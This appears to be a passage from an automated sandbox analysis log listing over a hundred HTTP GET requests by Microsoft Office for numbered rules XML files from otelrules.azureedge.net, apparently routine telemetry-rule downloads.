Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
